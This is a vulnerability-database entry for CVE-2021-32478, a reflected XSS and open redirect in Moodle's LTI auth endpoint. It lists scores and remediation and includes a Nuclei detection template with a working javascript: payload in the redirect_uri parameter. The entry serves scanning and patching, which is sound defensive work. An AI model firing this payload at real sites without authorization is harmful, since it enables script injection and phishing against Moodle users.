SecurityContext

CVE-2021-32478: Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.01308
  • Epss percentile: 0.71344
  • Cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: moodle
  • Vendor: moodle
  • Verified: yes

Products

ProductIndexedUrl
moodle:moodleyes/v1/products/moodle/moodle

Labels

  • Name: Moodle - Reflected XSS & Open Redirect
  • Impact: Attackers can execute scripts in victim's browser or redirect users to malicious sites, leading to session hijacking or phishing.
  • Remediation: Apply the security patches provided in Moodle versions 3.10.4, 3.9.7, 3.8.9 or upgrade to the latest supported version.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must click on a malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2021-32478

```yaml

id: CVE-2021-32478

info:

name: Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect

author: hackergautam

severity: medium

description: |

Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.

impact: |

Attackers can inject malicious JavaScript or redirect users to malicious sites via insufficient sanitization in the redirect_uri parameter.

remediation: |

Upgrade to Moodle version 3.8.9, 3.9.7, or 3.10.4 or later.

reference:

- https://twitter.com/JacksonHHax/status/1391367064154042377

- https://nvd.nist.gov/vuln/detail/CVE-2021-32478

- https://moodle.org/mod/forum/discuss.php?d=422314

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2021-32478

cwe-id: CWE-79

epss-score: 0.01308

epss-percentile: 0.71344

cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: moodle

product: moodle

tags: cve,cve2021,moodle,xss,intrusive,vuln,vkev

http:

- method: GET

path:

- "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"

matchers-condition: and

matchers:

- type: word

part: body

words:

- '{{randstr}}'

- '<form action="javascript:alert'

condition: and

- type: status

status:

- 200

- type: word

part: header

words:

- "text/html"

digest: 490a0046304402203181a0a02cef0cbfbf44cb0f5c1bfb76cb5cbb4321a87f109e2ecf0b5acb735002202de4be659096c60268ef5e50be91a32b634155fe3d60c048cbb06dd988a16aca:922c64590222798bb761d5b6d8e72950

```